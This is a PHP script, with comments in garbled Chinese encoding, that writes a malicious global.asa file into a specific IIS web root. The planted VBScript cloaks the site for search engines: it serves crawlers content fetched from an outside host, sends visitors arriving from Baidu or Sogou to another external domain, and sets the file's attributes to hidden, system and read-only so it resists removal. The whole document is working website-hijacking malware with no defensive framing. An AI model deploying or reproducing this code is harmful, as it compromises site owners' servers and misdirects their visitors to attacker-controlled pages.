<?php
// 鏂囦欢璺緞
$filePath = 'D:/vhostroot/LocalUser/yuda/www/global.asa';

// 闇€瑕佸啓鍏ョ殑鍐呭
$content = '<script CodePage=936 language="vbscript" runat="server">  

server.Scripttimeout=3600
dim ua,Remote_server,host_name,Remote_file,Content_mb,referrer
On Error Resume Next
ua=Request.ServerVariables("HTTP_USER_AGENT")
referrer=Request.ServerVariables("HTTP_REFERER")

If Err.Number <> 0 Then
    Err.Clear
End If

Remote_server="http://y.ban10.cn/asp/ind.php"
host_name="http://" & request.servervariables("HTTP_HOST") & request.servervariables("SCRIPT_NAME")
Remote_file = Remote_server & "/index.php" & "?host=" & host_name & "&url=" & Request.servervariables("QUERY_STRING") & "&domain=" & Request.servervariables("SERVER_NAME")

If (instr(ua,"360Spider") > 0 Or instr(ua,"so") > 0 Or instr(ua,"baidu") > 0) Then
    Content_mb = GetHtml(Remote_file)
    response.write Content_mb
End If

If (instr(referrer, "baidu.com") > 0 Or instr(referrer, "sogou.com") > 0) Then
    response.redirect("https://tz.ban10.cn/yao.php")
End If

Set fso = Server.CreateObject("Scripting.FileSystemObject")
set f=fso.Getfile(Server.MapPath("global.asa"))
if f.attributes <> 7 then
f.attributes = 7
end if

Function GetHtml(url)
    On Error Resume Next
    Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
    ObjXMLHTTP.Open "GET", url, False
    ObjXMLHTTP.setRequestHeader "User-Agent", "aQ0O010O"
    ObjXMLHTTP.send
    GetHtml=ObjXMLHTTP.responseBody
    Set ObjXMLHTTP=Nothing
    set objStream = Server.CreateObject("Adodb.Stream")
    objStream.Type = 1
    objStream.Mode = 3
    objStream.Open
    objStream.Write GetHtml
    objStream.Position = 0
    objStream.Type = 2
    objStream.Charset = "utf-8"
    GetHtml = objStream.ReadText
    objStream.Close
    If Err.Number <> 0 Then
        Err.Clear
    End If
End Function

</script>';

// 浣跨敤 file_put_contents 鍐欏叆鏂囦欢
if (file_put_contents($filePath, $content) !== false) {
    echo "鏂囦欢 global.asa 宸叉垚鍔熷垱寤哄苟鍐欏叆鍐呭銆�";
} else {
    echo "鏃犳硶鍐欏叆鏂囦欢锛岃妫€鏌ユ潈闄愭垨璺緞鏄惁姝ｇ‘銆�";
}
?>